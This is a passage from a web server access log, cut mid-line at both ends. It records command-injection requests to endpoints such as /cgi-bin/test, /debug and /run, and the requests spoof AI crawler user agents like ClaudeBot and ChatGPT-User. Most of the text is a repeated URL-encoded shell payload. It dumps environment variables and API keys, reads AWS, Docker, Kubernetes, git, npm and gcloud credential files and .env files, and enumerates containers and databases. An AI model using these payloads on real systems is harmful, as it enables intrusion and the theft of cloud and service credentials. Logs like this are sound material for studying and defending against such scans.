3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13828 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.19) Gecko/20100101 Firefox/128.19; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /debug?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12112 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /run?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "POST / HTTP/1.1" 200 12079 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:46 -0700] "GET /debug?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%